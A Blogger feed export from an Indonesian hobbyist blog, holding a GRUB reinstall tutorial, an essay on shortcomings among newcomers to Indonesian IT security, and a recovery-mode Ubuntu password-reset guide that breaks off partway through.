<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2685633507834942301</id><updated>2012-02-17T07:46:39.709+07:00</updated><category term='/cybernews'/><category term='/game'/><category term='/Hacking'/><category term='/software'/><category term='/programming'/><category term='/exploit'/><category term='/cracking'/><title type='text'>Liyan oz</title><subtitle type='html'>..IT'S NOT ABOUT BLACK OR WHITE..</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>72</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-3533303169003181279</id><published>2011-01-15T21:49:00.005+07:00</published><updated>2011-01-15T21:49:55.146+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/cracking'/><title type='text'>English version : &gt; Reinstalling Grub Boot Loader without reinstalling Linux</title><content type='html'>&lt;span class="Apple-style-span" style="border-collapse: collapse; color: red; font-family: Verdana; font-size: 11px; font-weight: bold; line-height: 16px;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Sometimes you may need to reinstall Windows on your computer.&lt;br /&gt;If you have a dual boot windows / linux, the windows will reinstall the original MBR (from windows) and Grub will be uninstalled.&lt;br /&gt;&lt;br /&gt;This tutorial explains how to reinstall grub without reinstalling linux.&lt;br /&gt;To do this, you need to bring your live Linux installation CD (like Ubuntu).&lt;br /&gt;&lt;br /&gt;Boot from the CD and choose the "Start or Install Ubuntu" option.&lt;br /&gt;Open a Terminal ( Applications &amp;gt;&amp;gt; Accessories &amp;gt;&amp;gt; Terminal ), and type:&lt;/span&gt;&lt;code style="background-color: black; border-bottom-color: rgb(255, 0, 0); border-left-color: rgb(255, 0, 0); border-right-color: rgb(255, 0, 0); border-top-color: rgb(255, 0, 0);"&gt;&lt;pre style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; height: 34px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; overflow-x: auto; overflow-y: auto; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px; text-align: left; width: 480px;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sudo grub&lt;/span&gt;&lt;/pre&gt;&lt;/code&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;br /&gt;then type:&lt;/span&gt;&lt;code style="background-color: black; border-bottom-color: rgb(255, 0, 0); border-left-color: rgb(255, 0, 0); border-right-color: rgb(255, 0, 0); border-top-color: rgb(255, 0, 0);"&gt;&lt;pre style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; height: 34px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; overflow-x: auto; overflow-y: auto; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px; text-align: left; width: 480px;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;find /boot/grub/stage1&lt;/span&gt;&lt;/pre&gt;&lt;/code&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;so Grub can automatically search on what partition Linux is installed.&lt;br /&gt;The answer is obtained in the form:&lt;/span&gt;&lt;code style="background-color: black; border-bottom-color: rgb(255, 0, 0); border-left-color: rgb(255, 0, 0); border-right-color: rgb(255, 0, 0); border-top-color: rgb(255, 0, 0);"&gt;&lt;pre style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; height: 34px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; overflow-x: auto; overflow-y: auto; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px; text-align: left; width: 480px;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;hd(X,Y)&lt;/span&gt;&lt;/pre&gt;&lt;/code&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;br /&gt;where X represents the number of the hard drive and Y the partition number.&lt;br /&gt;&lt;br /&gt;You must specify at what is the linux partition, to do this type:&lt;/span&gt;&lt;code style="background-color: black; border-bottom-color: rgb(255, 0, 0); border-left-color: rgb(255, 0, 0); border-right-color: rgb(255, 0, 0); border-top-color: rgb(255, 0, 0);"&gt;&lt;pre style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; height: 34px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; overflow-x: auto; overflow-y: auto; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px; text-align: left; width: 480px;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;root (hdX,Y)&lt;/span&gt;&lt;/pre&gt;&lt;/code&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;example: root(hd0,2)&lt;/span&gt;&lt;/i&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;br /&gt;&lt;br /&gt;now to install grub you have only to type:&lt;/span&gt;&lt;code style="background-color: black; border-bottom-color: rgb(255, 0, 0); border-left-color: rgb(255, 0, 0); border-right-color: rgb(255, 0, 0); border-top-color: rgb(255, 0, 0);"&gt;&lt;pre style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; height: 34px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; overflow-x: auto; overflow-y: auto; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px; text-align: left; width: 480px;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;setup (hdX)&lt;/span&gt;&lt;/pre&gt;&lt;/code&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;example: setup (hd0)&lt;/span&gt;&lt;/i&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;br /&gt;grub now is reinstalled, to quit grub type:&lt;/span&gt;&lt;code style="background-color: black; border-bottom-color: rgb(255, 0, 0); border-left-color: rgb(255, 0, 0); border-right-color: rgb(255, 0, 0); border-top-color: rgb(255, 0, 0);"&gt;&lt;pre style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; height: 34px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; overflow-x: auto; overflow-y: auto; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px; text-align: left; width: 480px;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;quit&lt;/span&gt;&lt;/pre&gt;&lt;/code&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;then restart your computer.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-3533303169003181279?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/3533303169003181279/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2011/01/english-version-reinstalling-grub-boot.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/3533303169003181279'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/3533303169003181279'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2011/01/english-version-reinstalling-grub-boot.html' title='English version : &gt; Reinstalling Grub Boot Loader without reinstalling Linux'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-3152306373299290763</id><published>2011-01-15T21:21:00.000+07:00</published><updated>2011-01-15T21:21:17.919+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/cybernews'/><title type='text'>echo.or.id | Generasi IT security Indonesia</title><content type='html'>&lt;span class="Apple-style-span" style="color: #777777; font-family: 'trebuchet ms', verdana, arial, sans-serif; font-size: x-small;"&gt;Terkait dengan "regenerasi" yang merupakan salah satu misi yang di canangkan&amp;nbsp;echo di 2009&amp;nbsp;pada majalah elektroniknya yaitu&amp;nbsp;ezine, maka gw secara pribadi dan terbuka sengaja menulis mengenai hal ini, tujuannya untuk menjadi lecutan bagi gw pribadi, dan siapapun yang merasa terlecut nantinya :P&lt;br /&gt;&lt;br /&gt;IT sekuriti di Indonesia bisa dikatakan mengalami masa kemundurannya saat ini, bukan di lihat dari segi&amp;nbsp;&lt;i&gt;kuantitas&lt;/i&gt;&amp;nbsp;tetapi lihatlah dari segi&amp;nbsp;&lt;i&gt;kualitas&lt;/i&gt;, bayangkan dengan banyaknya perusahaan sekuriti, badan pendidikan sertifikasi sekuriti, publikasi dan&amp;nbsp;&lt;i&gt;referensi&lt;/i&gt;yang tersebar bebas serta teknologi yang semakin canggih tetapi belum cukup membuat gebrakan-gebrakan baru di dunia sekuriti Indonesia. Tanyakanlah pada&amp;nbsp;generasi terdahulu, seberapa sulit jalan yang mereka lalui, seberapa lama waktu dan jenjang yang harus mereka lalui untuk memberikan jaman keemasan dunia IT sekuriti di Indonesia, meskipun dengan jumlah yang sedikit dari segi kuantitas.&lt;br /&gt;&lt;br /&gt;Adapun menurut gw, berikut adalah 7 jenis sifat dari para pendatang baru (&lt;i&gt;nantinya akan disebut&amp;nbsp;&lt;b&gt;mereka&lt;/b&gt;&lt;/i&gt;) yang akan membuat mereka tetap berada di tempat walau seberapa besar usaha, uang, serta "bacotan" telah mereka gembar-gemborkan, dan pastinya ini juga yang membuat Dunia IT sekuriti di Indonesia mengalami kemunduran.&lt;br /&gt;&lt;br /&gt;1. Tidak adanya motivasi asli&lt;br /&gt;&lt;br /&gt;Lucunya apabila diperhatikan secara seksama kemunculan dan motivasi mereka persis bunglon, serba cepat berubah, hari ini ingin di sebut ini, besok mereka mengaku itu. Hal ini terjadi dikarenakan tidak adanya motivasi ataupun keinginan yang mendasari pembelajaran mereka. Kondisi seperti ini secara global sudah sering kita kenal dengan sebutan "krisis identitas", yang wajar di temui saat awal-awal memulai sesuatu (&lt;i&gt;kita semua mengalami itu&lt;/i&gt;), tetapi permasalahan muncul karena sampai bertahun-tahun mereka tetaplah mengalami krisis identitas, sampai akhirnya "&lt;i&gt;menyampah&lt;/i&gt;" dimana-mana :)&lt;br /&gt;&lt;br /&gt;2. Rakus&amp;nbsp;&lt;i&gt;Publisitas&lt;/i&gt;&amp;nbsp;dan&amp;nbsp;&lt;i&gt;Money Oriented&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Seperti kalau kita kutip dari tulisan&amp;nbsp;crazy consuelo&amp;nbsp;dalam sebuah artikel bertajuk new hacking manifesto dalam salah satu issue yang di rilis phrackbecause I do this out of love -- you do it for money.. Umumnya para pendatang baru sangat amat rakus dengan ketenaran dan uang, di pikiran mereka adalah bagaimana secepatnya menjadi terkenal dan mendapat uang darinya, terserah apakah dengan publikasi sembarangan ke berbagai media massa dan tentunya bagi media massa akan sangat amat menguntungkan, tidak perduli dengan membodohi orang lain dibumbui janji-janji palsu dan pemujian diri sendiri yang sangat amat berlebihan, atau dengan melakukan "vandals" ke berbagai situs tanpa alasan yang jelas... Hey, itu berbeda dengan "&lt;i&gt;cyber war&lt;/i&gt;".&lt;br /&gt;&lt;br /&gt;3. Skill yang minim plus kemalasan yang besar&lt;br /&gt;&lt;br /&gt;Sebagaimana pendatang baru, kemampuan mereka sangatlah minim. "Lack of skill" adalah hal yang lumrah bagi para pemula ditambah luasnya bidang ilmu komputer yang ada kala ini, tetapi yang menjadi permasalahan adalah kemalasan. Tidak adanya motivasi dan kerakusan&lt;i&gt;publisitas&lt;/i&gt;&amp;nbsp;membutakan mereka untuk melompat jauh keatas tanpa mau melalui pijakan-pijakan tangga terbawah yang seharusnya merupakan pondasi terpenting.&lt;br /&gt;&lt;br /&gt;Sudah dari 2004 gw menulis artikel "F.A.Q for NEWBIES Version 1.0" yang merupakan rangkuman dari berbagai sumber, dan gw harap sedikit banyak bisa menjadi acuan bagi yang mau memulai walau sangat jauh dari sempurna. Tetapi anehnya berkali-kali email yang mampir baik ke mailbox pribadi, pertanyaan di milis juga di hampiri dengan pertanyaan "bagaimana kami memulainya".&lt;br /&gt;&lt;br /&gt;4. NATO (No Action Talk Only)&lt;br /&gt;&lt;br /&gt;Satu hal yang pasti untuk membuktikan ini, tanyakan pada mereka 1 hal yang hanya membutuhkan jawaban pasti/detil/teknis/poc, maka pastinya mereka akan membuat anda pusing tujuh keliling dengan cerita-cerita tidak pasti dan hampir pasti tidak akan menjawab pertanyaan anda.&lt;br /&gt;&lt;br /&gt;Minimnya kemampuan teknis dan konsep dasar membuat mereka kesulitan menjawab/memecahkan berbagai permasalahan, umumnya mereka akan senang mengalihkan atau melemparkan pertanyaan tersebut, dan sedihnya lagi sangat sulit bagi mereka untuk mengakui ketidaktahuan mereka dan mulai belajar, belajar dan belajar.&lt;br /&gt;&lt;br /&gt;5. Generasi&amp;nbsp;&lt;i&gt;Instant&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Seperti halnya mie instan yang bisa disajikan dengan cepat dan sekejap mata, serta tanggapan public yang sangat memanjakan dengan berbagai tawaran kursus instan, buku-buku yang menyajikan janji-janji instan, melengkapi generasi instan ini, mereka tidak mau perduli dengan proses, mereka hanya ingin secara cepat berada di atas, dan layaknya semua yang instant, apapun itu, maka tidak akan bertahan lama.&lt;br /&gt;&lt;br /&gt;6. Terputusnya&amp;nbsp;&lt;i&gt;link&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Para pendatang baru umumnya tidak menghargai para pendahulunya, susah sekali memberikan "credit" kepada orang-orang yang telah berjasa bagi mereka, sebagai contoh credit untuk referensi, yang umumnya di klaim sebagai milik pribadi apabila di publikasikan ulang oleh mereka. sifat inilah yang membuat mereka tidak berkembang, karena secara pasti akan di jauhi para pendahulu yang sejatinya membimbing mereka, bahkan kemungkinan terburuk akan menimbulkan konflik, baik internal bahkan meluas.&lt;br /&gt;&lt;br /&gt;7. Terlalu Berapi-api dan Sangat amat mudah Putus Asa&lt;br /&gt;&lt;br /&gt;Layaknya kata pepatah "&lt;i&gt;air beriak tanda tak dalam&lt;/i&gt;" dan "&lt;i&gt;tong kosong nyaring bunyinya&lt;/i&gt;" memang terbukti bahwa banyak para pendatang baru yang terkadang berapi-api dalam mengemukakan konsep (dan sedihnya lagi terkadang bukan temuannya) yang apabila konsep tersebut di koreksi (&lt;i&gt;misal: bertentangan dengan dasar keilmuan&lt;/i&gt;), akan membuat mereka marah bahkan terkadang berputus asa.&lt;br /&gt;&lt;br /&gt;Dan itulah 7 hal yang menurut gw patut untuk di jauhi apabila ingin mulai mendalami IT sekuriti dan kembali memajukan IT khususnya dunia Sekuriti di Indonesia ini. Mudah-mudahan tulisan yang lebih merupakan keprihatinan gw pribadi ini dapat memberikan manfaat bagi diri gw sendiri, serta proses regenerasi di dunia IT sekuriti meskipun sedikit.&lt;br /&gt;SimakBaca secara fonetik&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-3152306373299290763?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/3152306373299290763/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2011/01/echoorid-generasi-it-security-indonesia.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/3152306373299290763'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/3152306373299290763'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2011/01/echoorid-generasi-it-security-indonesia.html' title='echo.or.id | Generasi IT security Indonesia'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-1102001049753900174</id><published>2011-01-15T18:10:00.000+07:00</published><updated>2011-01-15T18:10:08.706+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/programming'/><title type='text'>Reset password ubuntu 10.10 ala oz</title><content type='html'>Assalamualaikum war, wab,&lt;br /&gt;&lt;br /&gt;Kemaren ada kasus,, temen lupa password sama username ubuntunya,,&lt;br /&gt;&lt;br /&gt;padahal itu ubuntu baru diinstal, yah,, kayaknya orangnya udah pikun dech,,cckck&lt;br /&gt;&lt;br /&gt;oke langsung aja ya,,&lt;br /&gt;&lt;br /&gt;pertama restart ubuntunya,, nah kan ada muncul grub loader itu,, pilih aja&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #ff9900; font-family: Verdana, Arial; font-size: x-small; font-style: italic; line-height: 16px;"&gt;# Ubuntu, with Linux 2.6.xxx-generic (recovery mode)&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;&lt;img src="http://3.bp.blogspot.com/_2ArRz4Y2WvY/TEq-sMZubmI/AAAAAAAABgY/QHfTb5mgjaA/s400/1.jpg" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;oke nati kita akan dibawa ke recovery mode ubuntunya,,,&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;nah disitu kita scrool kebawah,, paling ujung pilih&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;&lt;span class="Apple-style-span" style="color: #ff9900; font-style: italic;"&gt;# root Drop to root shell prompt&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;&lt;span class="Apple-style-span" style="color: #ff9900; font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;&lt;span class="Apple-style-span" style="color: #ff9900; font-style: italic;"&gt;&lt;img src="http://1.bp.blogspot.com/_2ArRz4Y2WvY/TEq-sVY35lI/AAAAAAAABgg/WB0T79uywTA/s400/2.jpg" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;&lt;span class="Apple-style-span" style="color: #ff9900; font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #ff9900; font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;enter aja dah sobat o2nri2...&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;nah nanti sobat o2nri2 akan dibawa ke rppt directory ubuntu,,,&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;hmmm,,, nice inilah intinya,,&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;pada prompt tersebut&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;ketikan&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;#&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #ff9900; font-family: Verdana, Arial; font-size: x-small; font-style: italic; line-height: 16px;"&gt;cd /home&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;&lt;span class="Apple-style-span" style="color: #ff9900;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;kita kan menuju directory homenya,, next type&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #ff9900; font-family: Verdana, Arial; font-size: x-small; font-style: italic; line-height: 16px;"&gt;# dir&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #ff9900; font-family: Verdana, Arial; font-size: x-small; font-style: italic; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;untuk menampilkan user yang ada ,, well di sample ini muncul "lab"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;jelasnya &amp;nbsp;lihat gambar oke////&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;img src="http://1.bp.blogspot.com/_2ArRz4Y2WvY/TEq-s9kBppI/AAAAAAAABgo/AaKY9USHtBw/s400/3.jpg" /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;Setelah mengetahui nama user yang hendak direset passwordnya, silahkan kembali ke root&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;direktori dengan cara mengetik "&lt;span style="font-style: italic;"&gt;&lt;span class="Apple-style-span" style="color: #f1c232;"&gt;cd&lt;/span&gt;&lt;/span&gt;" pada console lalu tekan enter. Sekarang saatnya memberi&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;perintah untuk penggantian password user. Ketik "&lt;span style="font-style: italic;"&gt;&lt;span class="Apple-style-span" style="color: #f1c232;"&gt;passwd nama_user&lt;/span&gt;&lt;/span&gt;" lalu tekan enter, silahkan&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;sesuaikan "&lt;span style="font-style: italic;"&gt;&lt;span class="Apple-style-span" style="color: #f1c232;"&gt;user_name&lt;/span&gt;&lt;/span&gt;" dengan nama user pada komputer Anda. Dalam contoh ini kami mengetik&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial; font-size: x-small; line-height: 16px;"&gt;"&lt;span style="font-style: italic;"&gt;&lt;span class="Apple-style-span" style="color: #f1c232;"&gt;passwd lab&lt;/span&gt;&lt;/span&gt;" sebab user yang akan kami reset passwordnya bernama "&lt;span style="font-style: italic;"&gt;&lt;span class="Apple-style-span" style="color: 